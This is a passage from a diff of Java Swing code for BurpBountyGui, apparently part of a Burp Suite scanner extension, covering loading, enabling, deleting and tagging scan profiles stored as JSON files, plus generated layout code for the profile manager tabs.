callbacks.printError("BurpBountyGui line 1866:" + ex.getMessage()); + } + } + return result; + } + + public void loadConfigFile() { + JFrame parentFrame = new JFrame(); + JFileChooser fileChooser = new JFileChooser(); + fileChooser.setDialogTitle("Specify a base directory to load"); + fileChooser.setFileSelectionMode(JFileChooser.DIRECTORIES_ONLY); + + int userSelection = fileChooser.showOpenDialog(parentFrame); + + if (userSelection == JFileChooser.APPROVE_OPTION) { + File fileload = fileChooser.getSelectedFile(); + profiles_directory = fileload.toString() + File.separator; + String file = fileload.getAbsolutePath() + File.separator; + + text11.setText(file); + + makeTagsFile(); + showTags(); + showProfiles("All"); + this.callbacks.saveExtensionSetting("filename", file); + + } + } + + public void loadPath(String file, DefaultListModel list) { + //Load file for implement payloads + DefaultListModel List = list; + String line; + File fileload = new File(file); + + try { + BufferedReader bufferreader = new BufferedReader(new FileReader(fileload.getAbsolutePath())); + line = bufferreader.readLine(); + + while (line != null) { + List.addElement(line); + line = bufferreader.readLine(); + } + bufferreader.close(); + } catch (FileNotFoundException ex) { + callbacks.printError("BurpBountyGui line 1912:" + ex.getMessage()); + } catch (IOException ex) { + callbacks.printError("BurpBountyGui line 1815:" + ex.getMessage()); + } + } + + public void setEnableDisableProfile(String enable, JTable table) { + + Gson gson = new Gson(); + + JsonArray json2 = new JsonArray(); + List newjson = gson.fromJson(json2, new TypeToken>() { + }.getType()); + + int[] rows = table.getSelectedRows(); + + for (Integer row : rows) { + try { + String profile_name = table.getValueAt(row, 1).toString(); + JsonArray data = new JsonArray(); + JsonReader json = new JsonReader(new FileReader(profiles_directory.concat(profile_name.concat(".bb")))); + JsonParser parser = new JsonParser(); + data.addAll(parser.parse(json).getAsJsonArray()); + + Object idata = data.get(0); + ProfilesProperties profile_properties = gson.fromJson(idata.toString(), ProfilesProperties.class + ); + + if (enable.contains("Yes")) { + profile_properties.setEnabled(true); + } else { + profile_properties.setEnabled(false); + } + newjson.clear(); + newjson.add(profile_properties); + FileOutputStream fileStream = new FileOutputStream(profiles_directory.concat(profile_name.concat(".bb"))); + String fjson = gson.toJson(newjson); + OutputStreamWriter writer = new OutputStreamWriter(fileStream, "UTF-8"); + writer.write(fjson); + writer.close(); + json.close(); + + } catch (IOException e) { + callbacks.printError("BurpBountyGui line 1956:" + e.getMessage()); + } + } + showProfiles("All"); + } + + public void setEnableDisableAllProfiles(String enable) { + + Gson gson = new Gson(); + File f = new File(profiles_directory); + + JsonArray json2 = new JsonArray(); + List newjson = gson.fromJson(json2, new TypeToken>() { + }.getType()); + + File[] files = f.listFiles(new FilenameFilter() { + @Override + public boolean accept(File dir, String name) { + if (name.toLowerCase().endsWith(".bb")) { + return true; + } else { + return false; + } + } + }); + + if (f.exists() && f.isDirectory()) { + for (File file : files) { + try { + JsonArray data = new JsonArray(); + JsonReader json = new JsonReader(new FileReader(file.getAbsolutePath())); + JsonParser parser = new JsonParser(); + data.addAll(parser.parse(json).getAsJsonArray()); + + Object idata = data.get(0); + ProfilesProperties profile_properties = gson.fromJson(idata.toString(), ProfilesProperties.class + ); + if (enable.contains("Yes")) { + profile_properties.setEnabled(true); + } else { + profile_properties.setEnabled(false); + } + newjson.clear(); + newjson.add(profile_properties); + FileOutputStream fileStream = new FileOutputStream(file.getAbsoluteFile()); + String fjson = gson.toJson(newjson); + OutputStreamWriter writer = new OutputStreamWriter(fileStream, "UTF-8"); + writer.write(fjson); + writer.close(); + json.close(); + } catch (IOException e) { + callbacks.printError("BurpBountyGui line 207:" + e.getMessage()); + } + } + } + showProfiles("All"); + } + + public void deleteTagProfiles(String tag) { + + Gson gson = new Gson(); + File f = new File(profiles_directory); + + JsonArray json2 = new JsonArray(); + List newjson = gson.fromJson(json2, new TypeToken>() { + }.getType()); + + File[] files = f.listFiles(new FilenameFilter() { + @Override + public boolean accept(File dir, String name) { + if (name.toLowerCase().endsWith(".bb")) { + return true; + } else { + return false; + } + } + }); + + if (f.exists() && f.isDirectory()) { + for (File file : files) { + try { + JsonArray data = new JsonArray(); + JsonReader json = new JsonReader(new FileReader(file.getAbsolutePath())); + JsonParser parser = new JsonParser(); + data.addAll(parser.parse(json).getAsJsonArray()); + + Object idata = data.get(0); + ProfilesProperties profile_properties = gson.fromJson(idata.toString(), ProfilesProperties.class + ); + List tags = profile_properties.getTags(); + List finaltags = new ArrayList(); + if (tags != null) { + for (String dtag : tags) { + if (!dtag.equals(tag)) { + finaltags.add(dtag); + } + } + } + profile_properties.setTags(finaltags); + newjson.clear(); + newjson.add(profile_properties); + FileOutputStream fileStream = new FileOutputStream(file.getAbsoluteFile()); + String fjson = gson.toJson(newjson); + OutputStreamWriter writer = new OutputStreamWriter(fileStream, "UTF-8"); + writer.write(fjson); + writer.close(); + json.close(); + } catch (IOException e) { + callbacks.printError("BurpBountyGui line 2065:" + e.getMessage()); + } + } + } + showProfiles("All"); + } + + public void makeTagsFile() { + + Gson gson = new Gson(); + File f = new File(profiles_directory); + + File[] files = f.listFiles(new FilenameFilter() { + @Override + public boolean accept(File dir, String name) { + if (name.toLowerCase().endsWith(".bb")) { + return true; + } else { + return false; + } + } + }); + + List tags = new ArrayList(); + if (f.exists() && f.isDirectory()) { + for (File file : files) { + try { + JsonArray data = new JsonArray(); + JsonReader json = new JsonReader(new FileReader(file.getAbsolutePath())); + JsonParser parser = new JsonParser(); + data.addAll(parser.parse(json).getAsJsonArray()); + + Object idata = data.get(0); + ProfilesProperties profile_properties = gson.fromJson(idata.toString(), ProfilesProperties.class + ); + if (profile_properties.getTags() != null) { + tags.addAll(profile_properties.getTags()); + } + json.close(); + } catch (IOException e) { + System.out.println("BurpBountyGui line 2107:" + e.getMessage()); + } + + } + + Set singles = new TreeSet<>(); + Set multiples = new TreeSet<>(); + + for (String x : tags) { + if (!multiples.contains(x)) { + if (singles.contains(x)) { + singles.remove(x); + multiples.add(x); + } else { + singles.add(x); + } + } + } + + tags.clear(); + tags.addAll(singles); + tags.addAll(multiples); + File file = new File(profiles_directory + File.separator + "tags.txt"); + if (!file.exists()) { + file.getParentFile().mkdirs(); + } + + List existenttags = readFile(profiles_directory + File.separator + "tags.txt"); + for (String tag : tags) { + if (!existenttags.contains(tag)) { + addNewTag(tag); + + } + } + } else { + System.out.println("Profile directory don't exist"); + } + } + + public class profilesModelListener implements TableModelListener { + + @Override + public void tableChanged(TableModelEvent e) { + int row = e.getFirstRow(); + int column = e.getColumn(); + TableModel model = (TableModel) e.getSource(); + + if (column == 0) { + Boolean checked = (Boolean) model.getValueAt(row, column); + + if (checked) { + try { + Gson gson = new Gson(); + JsonArray json2 = new JsonArray(); + List newjson = gson.fromJson(json2, new TypeToken>() { + }.getType()); + + String profile_name = model.getValueAt(row, 1).toString(); + + JsonArray data = new JsonArray(); + JsonReader json = new JsonReader(new FileReader(profiles_directory.concat(profile_name.concat(".bb")))); + JsonParser parser = new JsonParser(); + data.addAll(parser.parse(json).getAsJsonArray()); + + Object idata = data.get(0); + ProfilesProperties profile_properties = gson.fromJson(idata.toString(), ProfilesProperties.class + ); + + profile_properties.setEnabled(true); + + newjson.clear(); + newjson.add(profile_properties); + FileOutputStream fileStream = new FileOutputStream(profiles_directory.concat(profile_name.concat(".bb"))); + String fjson = gson.toJson(newjson); + OutputStreamWriter writer = new OutputStreamWriter(fileStream, "UTF-8"); + writer.write(fjson); + writer.close(); + json.close(); + + } catch (IOException ex) { + callbacks.printError("BurpBountyGui line 1956:" + ex.getMessage()); + } + } else { + try { + Gson gson = new Gson(); + JsonArray json2 = new JsonArray(); + List newjson = gson.fromJson(json2, new TypeToken>() { + }.getType()); + String profile_name = model.getValueAt(row, 1).toString(); + JsonArray data = new JsonArray(); + JsonReader json = new JsonReader(new FileReader(profiles_directory.concat(profile_name.concat(".bb")))); + JsonParser parser = new JsonParser(); + data.addAll(parser.parse(json).getAsJsonArray()); + + Object idata = data.get(0); + ProfilesProperties profile_properties = gson.fromJson(idata.toString(), ProfilesProperties.class + ); + + profile_properties.setEnabled(false); + + newjson.clear(); + newjson.add(profile_properties); + FileOutputStream fileStream = new FileOutputStream(profiles_directory.concat(profile_name.concat(".bb"))); + String fjson = gson.toJson(newjson); + OutputStreamWriter writer = new OutputStreamWriter(fileStream, "UTF-8"); + writer.write(fjson); + writer.close(); + json.close(); + + } catch (IOException ex) { + callbacks.printError("BurpBountyGui line 1956:" + ex.getMessage()); + } + } + } + + } + } + + public void showProfiles(String Tag) { + JsonArray json = initJson(); + Gson gson = new Gson(); + ProfilesProperties profile_property; + //model for active profiles + model.setNumRows(0); + model.setColumnCount(0); + model.addColumn("Enabled"); + model.addColumn("Profile Name"); + model.addColumn("Author's Twitter"); + + table3.getColumnModel().getColumn(0).setPreferredWidth(75); + table3.getColumnModel().getColumn(0).setMaxWidth(75); + table3.getColumnModel().getColumn(2).setPreferredWidth(150); + table3.getColumnModel().getColumn(2).setMaxWidth(150); + table3.getColumnModel().getColumn(1).setPreferredWidth(850); + + TableRowSorter sorter = new TableRowSorter<>(table3.getModel()); + table3.setRowSorter(sorter); + table3.setAutoResizeMode(JTable.AUTO_RESIZE_ALL_COLUMNS); + table3.getModel().addTableModelListener(new profilesModelListener()); + + //model for passive response + model1.setNumRows(0); + model1.setColumnCount(0); + model1.addColumn("Enabled"); + model1.addColumn("Profile Name"); + model1.addColumn("Author's Twitter"); + + table1.getColumnModel().getColumn(0).setPreferredWidth(75); + table1.getColumnModel().getColumn(0).setMaxWidth(75); + table1.getColumnModel().getColumn(2).setPreferredWidth(150); + table1.getColumnModel().getColumn(2).setMaxWidth(150); + table1.getColumnModel().getColumn(1).setPreferredWidth(850); + + TableRowSorter sorter1 = new TableRowSorter<>(table1.getModel()); + table1.setRowSorter(sorter1); + table1.setAutoResizeMode(JTable.AUTO_RESIZE_ALL_COLUMNS); + table1.getModel().addTableModelListener(new profilesModelListener()); + + //model for passive request + model2.setNumRows(0); + model2.setColumnCount(0); + model2.addColumn("Enabled"); + model2.addColumn("Profile Name"); + model2.addColumn("Author's Twitter"); + + table2.getColumnModel().getColumn(0).setPreferredWidth(75); + table2.getColumnModel().getColumn(0).setMaxWidth(75); + table2.getColumnModel().getColumn(2).setPreferredWidth(150); + table2.getColumnModel().getColumn(2).setMaxWidth(150); + table2.getColumnModel().getColumn(1).setPreferredWidth(850); + + TableRowSorter sorter2 = new TableRowSorter<>(table2.getModel()); + table2.setRowSorter(sorter2); + table2.setAutoResizeMode(JTable.AUTO_RESIZE_ALL_COLUMNS); + table2.getModel().addTableModelListener(new profilesModelListener()); + + if (json != null) { + for (JsonElement pa : json) { + JsonObject bbObj = pa.getAsJsonObject(); + profile_property = gson.fromJson(bbObj.toString(), ProfilesProperties.class + ); + + if (Tag.equals("All")) { + if (profile_property.getScanner() == 1) { + model.addRow(new Object[]{profile_property.getEnabled(), profile_property.getName(), profile_property.getAuthor()}); + } else if (profile_property.getScanner() == 2) { + model2.addRow(new Object[]{profile_property.getEnabled(), profile_property.getName(), profile_property.getAuthor()}); + } else if (profile_property.getScanner() == 3) { + model1.addRow(new Object[]{profile_property.getEnabled(), profile_property.getName(), profile_property.getAuthor()}); + + } + + } else { + + try { + for (String tag : profile_property.getTags()) { + if (tag.equals(Tag) || Tag.isEmpty() || Tag.equals("All")) { + if (profile_property.getScanner() == 1) { + model.addRow(new Object[]{profile_property.getEnabled(), profile_property.getName(), profile_property.getAuthor()}); + } else if (profile_property.getScanner() == 2) { + model2.addRow(new Object[]{profile_property.getEnabled(), profile_property.getName(), profile_property.getAuthor()}); + } else if (profile_property.getScanner() == 3) { + model1.addRow(new Object[]{profile_property.getEnabled(), profile_property.getName(), profile_property.getAuthor()}); + + } + + } + } + } catch (NullPointerException e) { + if (profile_property.getScanner() == 1) { + model.addRow(new Object[]{profile_property.getEnabled(), profile_property.getName(), profile_property.getAuthor()}); + } else if (profile_property.getScanner() == 2) { + model2.addRow(new Object[]{profile_property.getEnabled(), profile_property.getName(), profile_property.getAuthor()}); + } else if (profile_property.getScanner() == 3) { + model1.addRow(new Object[]{profile_property.getEnabled(), profile_property.getName(), profile_property.getAuthor()}); + + } + + } + } + } + } + } + + public void deleteProfile(JTable table) { + + Gson gson = new Gson(); + File f = new File(profiles_directory); + + File[] files = f.listFiles(new FilenameFilter() { + @Override + public boolean accept(File dir, String name) { + if (name.toLowerCase().endsWith(".bb")) { + return true; + } else { + return false; + } + } + }); + + int[] rows = table.getSelectedRows(); + if (f.exists() && f.isDirectory()) { + for (File file : files) { + for (Integer row : rows) { + try { + JsonArray data = new JsonArray(); + JsonReader json = new JsonReader(new FileReader(file.getAbsolutePath())); + JsonParser parser = new JsonParser(); + data.addAll(parser.parse(json).getAsJsonArray()); + + Object idata = data.get(0); + ProfilesProperties i = gson.fromJson(idata.toString(), ProfilesProperties.class + ); + String pname = table.getValueAt(row, 1).toString(); + + if (pname.equals(i.getName())) { + json.close(); + file.delete(); + break; + } + } catch (IOException e) { + callbacks.printError("BurpBountyGui line 2490:" + e.getMessage()); + } + } + } + } + showProfiles("All"); + } + + public String getProfilesFilename() { + + return profiles_directory; + } + + public String getFilename() { + + return filename; + } + + public void addNewTag(String str) { + if (!str.isEmpty()) { + try { + BufferedWriter out = new BufferedWriter(new FileWriter(profiles_directory.concat("tags.txt"), true)); + out.write(str.concat("\n")); + out.close(); + } catch (IOException e) { + System.out.println("BurpBountyGui line 2497:" + e.getMessage()); + } + } + } + + public void removeTag(String tag) { + String file = profiles_directory.concat("tags.txt"); + try { + + File inFile = new File(file); + + if (!inFile.isFile()) { + callbacks.printError("BurpBountyGui line 2509:"); + return; + } + + //Construct the new file that will later be renamed to the original filename. + File tempFile = new File(inFile.getAbsolutePath().concat(".tmp")); + + BufferedReader br = new BufferedReader(new FileReader(file)); + PrintWriter pw = new PrintWriter(new FileWriter(tempFile)); + + String line = null; + + //Read from the original file and write to the new + //unless content matches data to be removed. + while ((line = br.readLine()) != null) { + + if (!line.trim().equals(tag)) { + pw.println(line); + pw.flush(); + } + } + pw.close(); + br.close(); + + //Delete the original file + if (!inFile.delete()) { + callbacks.printError("Could not delete file, line 2535"); + return; + } + + //Rename the new file to the filename the original file had. + if (!tempFile.renameTo(inFile)) { + callbacks.printError("Could not rename file line 2541"); + } + + } catch (FileNotFoundException ex) { + callbacks.printError("BurpBountyGui line 2559:" + ex.getMessage()); + } catch (IOException ex) { + callbacks.printError("BurpBountyGui line 2562:" + ex.getMessage()); + } + } + + public void showTags() { + + List tags = readFile(profiles_directory.concat("tags.txt")); + + newTagCombo2.removeAllItems(); + tagmanager.removeAllElements(); + if (!tags.contains("All")) { + tags.add("All"); + } + for (String tag : tags) { + newTagCombo2.addItem(tag); + tagmanager.addElement(tag); + } + newTagCombo2.setSelectedItem("All"); + } + + /** + * This method is called from within the constructor to initialize the form. + * WARNING: Do NOT modify this code. The content of this method is always + * regenerated by the Form Editor. + */ + @SuppressWarnings("unchecked") + // //GEN-BEGIN:initComponents + private void initComponents() { + + buttonGroup1 = new javax.swing.ButtonGroup(); + buttonGroup2 = new javax.swing.ButtonGroup(); + buttonGroup3 = new javax.swing.ButtonGroup(); + buttonGroup4 = new javax.swing.ButtonGroup(); + buttonGroup5 = new javax.swing.ButtonGroup(); + buttonGroup6 = new javax.swing.ButtonGroup(); + buttonGroup7 = new javax.swing.ButtonGroup(); + buttonGroup8 = new javax.swing.ButtonGroup(); + buttonGroup9 = new javax.swing.ButtonGroup(); + jCheckBoxMenuItem1 = new javax.swing.JCheckBoxMenuItem(); + jMenuItem1 = new javax.swing.JMenuItem(); + jPopupMenu1 = new javax.swing.JPopupMenu(); + jMenuItem2 = new javax.swing.JMenuItem(); + jMenuItem3 = new javax.swing.JMenuItem(); + jPopupMenu2 = new javax.swing.JPopupMenu(); + jMenuItem4 = new javax.swing.JMenuItem(); + jMenuItem5 = new javax.swing.JMenuItem(); + jPopupMenu3 = new javax.swing.JPopupMenu(); + jMenuItem6 = new javax.swing.JMenuItem(); + jMenuItem7 = new javax.swing.JMenuItem(); + jTabbedPane2 = new javax.swing.JTabbedPane(); + jPanel1 = new javax.swing.JPanel(); + jPanel6 = new javax.swing.JPanel(); + jLabel43 = new javax.swing.JLabel(); + jLabel44 = new javax.swing.JLabel(); + jLabel45 = new javax.swing.JLabel(); + newTagCombo2 = new javax.swing.JComboBox<>(); + jtabpane = new javax.swing.JTabbedPane(); + jPanel3 = new javax.swing.JPanel(); + jScrollPane5 = new javax.swing.JScrollPane(); + table3 = new javax.swing.JTable(); + jButton16 = new javax.swing.JButton(); + jButton2 = new javax.swing.JButton(); + button13 = new javax.swing.JButton(); + jPanel5 = new javax.swing.JPanel(); + jScrollPane6 = new javax.swing.JScrollPane(); + table1 = new javax.swing.JTable(); + jButton17 = new javax.swing.JButton(); + jButton3 = new javax.swing.JButton(); + button14 = new javax.swing.JButton(); + jPanel7 = new javax.swing.JPanel(); + jScrollPane10 = new javax.swing.JScrollPane(); + table2 = new javax.swing.JTable(); + jButton18 = new javax.swing.JButton(); + jButton4 = new javax.swing.JButton(); + button15 = new javax.swing.JButton(); + jPanel4 = new javax.swing.JPanel(); + jLabel50 = new javax.swing.JLabel(); + jLabel51 = new javax.swing.JLabel(); + jButton5 = new javax.swing.JButton(); + jButton1 = new javax.swing.JButton(); + text11 = new javax.swing.JTextField(); + jSeparator13 = new javax.swing.JSeparator(); + jScrollPane13 = new javax.swing.JScrollPane(); + listtagmanager = new javax.swing.JList<>(); + jButton12 = new javax.swing.JButton(); + jButton11 = new javax.swing.JButton(); + jLabel48 = new javax.swing.JLabel(); + jLabel49 = new javax.swing.JLabel(); + jPanel8 = new javax.swing.JPanel(); + jLabel53 = new javax.swing.JLabel(); + jLabel1 = new javax.swing.JLabel(); + jLabel3 = new javax.swing.JLabel(); + jLabel6 = new javax.swing.JLabel(); + jLabel7 = new javax.swing.JLabel(); + jLabel2 = new javax.swing.JLabel(); + + jCheckBoxMenuItem1.setSelected(true); + jCheckBoxMenuItem1.setText("jCheckBoxMenuItem1"); + + jMenuItem1.setText("jMenuItem1"); + + jMenuItem2.setText("Enable"); + jMenuItem2.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + jMenuItem2ActionPerformed(evt); + } + }); + jPopupMenu1.add(jMenuItem2); + + jMenuItem3.setText("Disable"); + jMenuItem3.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + jMenuItem3ActionPerformed(evt); + } + }); + jPopupMenu1.add(jMenuItem3); + + jMenuItem4.setText("Enable"); + jMenuItem4.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + jMenuItem4ActionPerformed(evt); + } + }); + jPopupMenu2.add(jMenuItem4); + + jMenuItem5.setText("Disable"); + jMenuItem5.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + jMenuItem5ActionPerformed(evt); + } + }); + jPopupMenu2.add(jMenuItem5); + + jMenuItem6.setText("Enable"); + jMenuItem6.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + jMenuItem6ActionPerformed(evt); + } + }); + jPopupMenu3.add(jMenuItem6); + + jMenuItem7.setText("Disable"); + jMenuItem7.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + jMenuItem7ActionPerformed(evt); + } + }); + jPopupMenu3.add(jMenuItem7); + + setAutoscrolls(true); + + jTabbedPane2.addChangeListener(new javax.swing.event.ChangeListener() { + public void stateChanged(javax.swing.event.ChangeEvent evt) { + showprofiles(evt); + } + }); + + jPanel1.setAutoscrolls(true); + + jPanel6.setEnabled(false); + + jLabel43.setFont(new java.awt.Font("Lucida Grande", 1, 14)); // NOI18N + jLabel43.setForeground(new java.awt.Color(255, 102, 51)); + jLabel43.setText("Profile Manager"); + + jLabel44.setText("In this section you can manage the profiles. "); + + jLabel45.setText("Filter by Tag"); + + newTagCombo2.addItemListener(new java.awt.event.ItemListener() { + public void itemStateChanged(java.awt.event.ItemEvent evt) { + selectTag(evt); + } + }); + newTagCombo2.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + newTagCombo2ActionPerformed(evt); + } + }); + + jtabpane.setFont(new java.awt.Font("Lucida Grande", 0, 14)); // NOI18N + + table3.setAutoCreateRowSorter(true); + table3.setFont(new java.awt.Font("Lucida Grande", 0, 14)); // NOI18N + table3.setModel(model); + table3.getTableHeader().setReorderingAllowed(false); + table3.addMouseListener(new java.awt.event.MouseAdapter() { + public void mousePressed(java.awt.event.MouseEvent evt) { + table3MousePressed(evt); + } + public void mouseReleased(java.awt.event.MouseEvent evt) { + table3MouseReleased(evt); + } + }); + jScrollPane5.setViewportView(table3); + + jButton16.setText("Add"); + jButton16.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + addActiveProfile(evt); + } + }); + + jButton2.setText("Edit"); + jButton2.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + editActiveProfile(evt); + } + }); + + button13.setText("Remove"); + button13.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + removeProfiles(evt); + } + }); + + javax.swing.GroupLayout jPanel3Layout = new javax.swing.GroupLayout(jPanel3); + jPanel3.setLayout(jPanel3Layout); + jPanel3Layout.setHorizontalGroup( + jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel3Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false) + .addComponent(jButton2, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addComponent(button13, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addComponent(jButton16, javax.swing.GroupLayout.PREFERRED_SIZE, 103, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addContainerGap(997, Short.MAX_VALUE)) + .addGroup(jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel3Layout.createSequentialGroup() + .addGap(133, 133, 133) + .addComponent(jScrollPane5, javax.swing.GroupLayout.DEFAULT_SIZE, 967, Short.MAX_VALUE) + .addContainerGap())) + ); + jPanel3Layout.setVerticalGroup( + jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel3Layout.createSequentialGroup() + .addContainerGap() + .addComponent(jButton16) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jButton2) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(button13) + .addContainerGap(506, Short.MAX_VALUE)) + .addGroup(jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jScrollPane5, javax.swing.GroupLayout.DEFAULT_SIZE, 614, Short.MAX_VALUE)) + ); + + jtabpane.addTab(" Active Profiles ", jPanel3); + + table1.setAutoCreateRowSorter(true); + table1.setFont(new java.awt.Font("Lucida Grande", 0, 14)); // NOI18N + table1.setModel(model1); + table1.setRowSorter(null); + table1.getTableHeader().setReorderingAllowed(false); + table1.addMouseListener(new java.awt.event.MouseAdapter() { + public void mousePressed(java.awt.event.MouseEvent evt) { + table1MousePressed(evt); + } + public void mouseReleased(java.awt.event.MouseEvent evt) { + table1MouseReleased(evt); + } + }); + jScrollPane6.setViewportView(table1); + + jButton17.setText("Add"); + jButton17.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + addRequestProfile(evt); + } + }); + + jButton3.setText("Edit"); + jButton3.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + editRequestProfile(evt); + } + }); + + button14.setText("Remove"); + button14.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + removeProfiles(evt); + } + }); + + javax.swing.GroupLayout jPanel5Layout = new javax.swing.GroupLayout(jPanel5); + jPanel5.setLayout(jPanel5Layout); + jPanel5Layout.setHorizontalGroup( + jPanel5Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel5Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel5Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false) + .addComponent(jButton3, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addComponent(button14, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addComponent(jButton17, javax.swing.GroupLayout.PREFERRED_SIZE, 103, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addContainerGap(997, Short.MAX_VALUE)) + .addGroup(jPanel5Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel5Layout.createSequentialGroup() + .addGap(133, 133, 133) + .addComponent(jScrollPane6, javax.swing.GroupLayout.DEFAULT_SIZE, 967, Short.MAX_VALUE) + .addContainerGap())) + ); + jPanel5Layout.setVerticalGroup( + jPanel5Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel5Layout.createSequentialGroup() + .addContainerGap() + .addComponent(jButton17) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jButton3) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(button14) + .addContainerGap(506, Short.MAX_VALUE)) + .addGroup(jPanel5Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jScrollPane6, javax.swing.GroupLayout.DEFAULT_SIZE, 614, Short.MAX_VALUE)) + ); + + jtabpane.addTab(" Passive Request Profiles ", jPanel5); + + table2.setAutoCreateRowSorter(true); + table2.setFont(new java.awt.Font("Lucida Grande", 0, 14)); // NOI18N + table2.setModel(model2); + table2.setRowSorter(null); + table2.getTableHeader().setReorderingAllowed(false); + table2.addMouseListener(new java.awt.event.MouseAdapter() { + public void mousePressed(java.awt.event.MouseEvent evt) { + table2MousePressed(evt); + } + public void mouseReleased(java.awt.event.MouseEvent evt) { + table2MouseReleased(evt); + } + }); + jScrollPane10.setViewportView(table2); + + jButton18.setText("Add"); + jButton18.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + addResponseProfile(evt); + } + }); + + jButton4.setText("Edit"); + jButton4.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + editResponseProfile(evt); + } + }); + + button15.setText("Remove"); + button15.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + removeProfiles(evt); + } + }); + + javax.swing.GroupLayout jPanel7Layout = new javax.swing.GroupLayout(jPanel7); + jPanel7.setLayout(jPanel7Layout); + jPanel7Layout.setHorizontalGroup( + jPanel7Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel7Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel7Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false) + .addComponent(jButton4, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addComponent(button15, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addComponent(jButton18, javax.swing.GroupLayout.PREFERRED_SIZE, 103, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addContainerGap(997, Short.MAX_VALUE)) + .addGroup(jPanel7Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel7Layout.createSequentialGroup() + .addGap(133, 133, 133) + .addComponent(jScrollPane10, javax.swing.GroupLayout.DEFAULT_SIZE, 967, Short.MAX_VALUE) + .addContainerGap())) + ); + jPanel7Layout.setVerticalGroup( + jPanel7Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel7Layout.createSequentialGroup() + .addContainerGap() + .addComponent(jButton18) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jButton4) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(button15) + .addContainerGap(506, Short.MAX_VALUE)) + .addGroup(jPanel7Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jScrollPane10, javax.swing.GroupLayout.DEFAULT_SIZE, 614, Short.MAX_VALUE)) + ); + + jtabpane.addTab(" Passive Response Profiles ", jPanel7); + + javax.swing.GroupLayout jPanel6Layout = new javax.swing.GroupLayout(jPanel6); + jPanel6.setLayout(jPanel6Layout); + jPanel6Layout.setHorizontalGroup( + jPanel6Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel6Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel6Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jtabpane, javax.swing.GroupLayout.PREFERRED_SIZE, 0, Short.MAX_VALUE) + .addGroup(jPanel6Layout.createSequentialGroup() + .addGroup(jPanel6Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel43) + .addComponent(jLabel44, javax.swing.GroupLayout.PREFERRED_SIZE, 575, javax.swing.GroupLayout.PREFERRED_SIZE)) + 